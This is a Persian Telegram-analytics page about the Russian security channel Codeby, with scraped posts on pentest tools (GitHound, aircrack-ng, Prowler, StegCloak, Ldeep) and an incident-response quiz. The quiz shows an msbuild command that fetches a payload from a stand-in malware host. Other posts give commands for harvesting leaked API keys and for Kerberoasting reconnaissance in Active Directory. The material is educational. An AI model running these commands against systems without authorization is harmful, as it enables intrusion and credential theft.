Codeby
Блог сообщества Кодебай Чат: @codeby_one Форум: codeby.net Обучение: codeby.academy CTF: hackerlab.pro VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Реклама: @Savchenkova_Valentina
نمایش بیشتر📈 تحلیل کانال تلگرام Codeby
کانال Codeby (@codeby_sec) در بخش زبانی روسی بازیگری فعال است. در حال حاضر جامعه شامل 36 574 مشترک است و جایگاه 3 750 را در دسته فناوری و برنامهها و رتبه 17 801 را در منطقه روسيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 36 574 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 09 ژوئن, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 199 و در ۲۴ ساعت گذشته برابر 2 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 7.71% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 4.19% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 2 819 بازدید دریافت میکند. در اولین روز معمولاً 1 534 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 19 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند edr, api, вектор, mitre, att&ck تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“Блог сообщества Кодебай
Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy
CTF: hackerlab.pro
VK: vk.com/codeby
YT: clck.ru/XG99c
Сотрудничество: @KinWiz
Реклама: @Savchenkova_Valentina”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 10 ژوئن, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
*️⃣В 09:15 сотрудник получил письмо с темой «Договор о защите информационных систем №-4513 на подпись» от якобы доверенного контрагента. *️⃣В 09:20 он открыл вложение — файл contract_scanned.exe, маскирующийся под PDF. *️⃣В 09:22 на его ПК (Windows 10) запустился процесс msbuild.exe с необычными аргументами: /tmp:7a3f1 /payload:http://malware[.]xyz/get.dll *️⃣ В 09:25 этот процесс подключился к IP 91.234.18.77 (порт 8443) и начал массово копировать файлы из сетевой папки \\NAS\Information\.⬇️ Выбирайте ответ! 💬 Какие индикаторы компрометации (IOCs), помимо указанных в описании инцидента, можно выделить для дальнейшего поиска подобных атак в сети компании? Делитесь своими идеями!
unzip git-hound_linux_amd64.zip
Добавляем API-токен github в config.yml
В качестве альтернативы можно использовать переменные окружения, которые будут переопределять значения в config.yml:
GITHOUND_GITHUB_TOKEN: Устанавливает токен доступа к API GitHub.
GITHOUND_INSERT_KEY: Устанавливает ключ вставки GitHoundExplore для функции --dashboard.
GitHound использует базу данных регулярных выражений для ключей API, поддерживаемую авторами Gitleaks.
📖 Принцип работы и использование
GitHound находит ключи API с помощью комбинации точных регулярных выражений для распространённых сервисов, таких как Slack и AWS, и универсального регулярного выражения API с учётом контекста. Это позволяет находить длинные строки, похожие на ключи API, которые окружены ключевыми словами, такими как Authorization и «API-Token». GitHound предполагает, что это ложные срабатывания, а затем проверяет их легитимность с помощью энтропии Шеннона, проверки слов из словаря, расчёта уникальности и обнаружения кодировки.
Далее он выводит результаты с высокой степенью достоверности. Для файлов, в которых кодируются секреты, он декодирует строки в формате base64 и ищет в закодированных строках ключи API.
echo "\"uberinternal.com\"" | githound --dig-files --dig-commitst --threads 100
--dig-files - Просматривает файлы репозитория, чтобы найти больше секретов;
--dig-commits - Просматривает историю коммитов, чтобы найти больше секретов.Злоумышленник осуществляет инъекцию произвольного JavaScript-кода через уязвимое поле пользовательского ввода (комментарии). Вредоносный скрипт сохраняется на сервере и исполняется в контексте сессии аутентифицированных пользователей при отображении заражённой страницы. В результате: • Происходит несанкционированное выполнение операций от имени жертвы. • Возможна компрометация сессионных cookie (при отсутствии HttpOnly). • Реализуется цепочка атак для эскалации привилегий.🟧 Выбирайте ответ!
🟧 Бонусный вопрос: Какие два основных метода защиты наиболее эффективны против этой уязвимости?
git clone https://github.com/aircrack-ng/aircrack-ng.git
📌Использование:
1️⃣ Запуск утилиты
sudo airodump-ng [INTERFACE]
Утилита автоматически перевела мой сетевой адаптер в режим монитора.
Prowler — это open-source инструмент, предназначенный для автоматизированного аудита безопасности облачных сред (AWS, Azure и Google Cloud), и проверки соответствия облачных инфраструктур международным стандартам, включая CIS Benchmark, ISO 27001, GDPR, HIPAA и другие. С его помощью можно выявлять уязвимости, ошибки конфигурации и потенциальные векторы атак.🔤 Ключевые возможности: - Поддержка основных облачных провайдеров (AWS, Azure, GCP). - Проверка на соответствие стандартам безопасности (CIS, NIST, SOC 2, PCI DSS и др.) - Вывод результатов в CSV, JSON, HTML, интеграция с Slack, Security Hub, Jira. - Работает через Docker, CLI или напрямую из кода. 🔤 Начало работы 🔤 Создаем виртуальное окружение в директории с достаточным местом
python3 -m venv /tmp/prowler-venv --clear
source /tmp/prowler-venv/bin/activate
🔤 Устанавливаем Prowler
pip install prowler-cloud
🔤 Проверяем
prowler -v
🔤 Настройка доступа к облаку
Для AWS:
export AWS_ACCESS_KEY_ID="XXX"
export AWS_SECRET_ACCESS_KEY="XXX"
export AWS_SESSION_TOKEN="XXX" # если используется временный токен
🔤 Запуск базовой проверки для AWS
Выборочные проверки
prowler -c check1,check2
Полный аудит по CIS Level 1
prowler -g cis_level1
🔤 Генерация отчета
JSON-отчет
prowler -M json -F report.json
HTML-отчет
prowler -M html -F report.html
🔤 Используйте для ежедневного мониторинга
prowler aws -b -q -M html > report-$(date +%F).html
🔤 Преимущества
- Автоматизированная проверка сотен контрольных точек безопасности.
- Соответствие регуляторным требованиям.
- Интеграция в CI/CD (может быть встроен в процессы DevOps для раннего обнаружения уязвимостей).git clone https://gitlab.com/kalilinux/packages/hash-identifier.git
📌Использование:
1️⃣ Запускаем командой
hash-identifier2️⃣ Вставляем Хеш
npm install -g stegcloak
Локальная установка для проекта:
npm install stegcloak
👩💻 Использование
Скрываем секретное сообщение secret в "text text":
stegcloak hide secret "text text"После ввода команды необходимо также ввести пароль. В результате в буфер обмена сохранится текст с секретным сообщением. Для раскрытия информации необходимо вставить текст с невидимыми Unicode-символами (в консоли будет отображаться так) и ввести пароль:
stegcloak reveal "text <2061><200d><2061><200c><2061><2062><200c><200d><200d><200d><200d><2061><2062><200c><200d><2061><200c><2064><200c><200d><2061><200d><2062><2061><2061><2063><200c><2061><200d><2061><200c><2062><200c><200d><2061><2061><200d><2061><2064><2061><200d><2064><2063><2061><2062><200d><2062><200c><2061><2064><2062><200d>text"Можно установить переменную окружения STEGCLOAK_PASSWORD, которая, если она задана, будет использоваться по умолчанию в качестве пароля. 📝 Дисклеймер StegCloak эффективен только тогда, когда у злоумышленников нет цели найти информацию, переданную с его помощью. Его можно безопасно использовать для водяных знаков на форумах, невидимых твитов, социальных сетей и т. д. Не рекомендуется использовать его, когда кто-то активно отслеживает ваши данные — просматривает Unicode-символы с помощью инструмента для анализа данных. В таком случае, даже если секретное сообщение не может быть расшифровано, посредник будет знать, что было какое-то секретное сообщение, потому что он заметит необычное количество специальных невидимых символов.
Ldeep — это инструмент, который автоматизирует сбор критически важной информации из LDAP, помогая находить уязвимости быстрее и точнее.🔤 Зачем использовать Ldeep 🔤 Автоматизация разведки в AD Вместо ручных LDAP-запросов или запуска BloodHound (который требует Neo4j и времени на анализ графа), Ldeep позволяет получать данные одной командой. 🔤 Поиск всех пользователей с непросроченными паролями, но без MFA:
ldeep ldap -s dc01.corp.local -d corp.local -u pentester -p 'Passw0rd!' search "(&(objectCategory=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
🔤 Поиск векторов атаки, которые умеет находить Ldeep:
- Kerberoast-able аккаунты (сервисные учётки с SPN)
- AS-REP Roasting (учётки с отключённым Kerberos pre-authentication)
- Unconstrained Delegation (опасные настройки делегирования)
- Shadow Admins (пользователи с критическими правами вне групп Admins)
🔤 Поиск всех сервисных аккаунтов для Kerberoasting:
ldeep ldap -s dc01.corp.local -d corp.local -u auditor -p 'Secure123!' search "(&(objectCategory=user)(servicePrincipalName=*))"
🔤 Анализ ACL и опасных разрешений
Одна из самых частых проблем в AD — неправильно настроенные права доступа. Ldeep помогает быстро находить:
- Пользователей, которые могут изменять Group Policy
- Учётные записи с правами на сброс паролей
- Членство в привилегированных группах
🔤 Поиск пользователей, которые могут изменять GPO:
ldeep ldap -s dc01.corp.local -d corp.local -u hacker -p 'P@ssw0rd!' search "(objectClass=groupPolicyContainer)" | grep distinguishedName | head -1 | xargs -I{} ldeep ldap -s dc01.corp.local -d corp.local -u hacker -p 'P@ssw0rd!' sddl "{}"
Разбор команд:
-s dc01.corp.local - указание LDAP-сервера (обычно контроллера домена)
-d corp.local - доменное имя
-u pentester - имя пользователя
-p 'Passw0rd!' - пароль
search - действие (поиск)
Фильтр LDAP для поиска активных пользователей
❗️ Установка Ldeep
🔤 Клонирование репозитория
git clone https://github.com/franc-pentest/ldeep.git
cd ldeep
🔤 Установка зависимостей
pip3 install -r requirements.txt
🔤 Проверка работоспособности
ldeep -h
Используйте Ldeep в связке с BloodHound (для визуализации) и Impacket (для эксплуатации).
اکنون در دسترس! پژوهش تلگرام ۲۰۲۵ — مهمترین بینشهای سال 
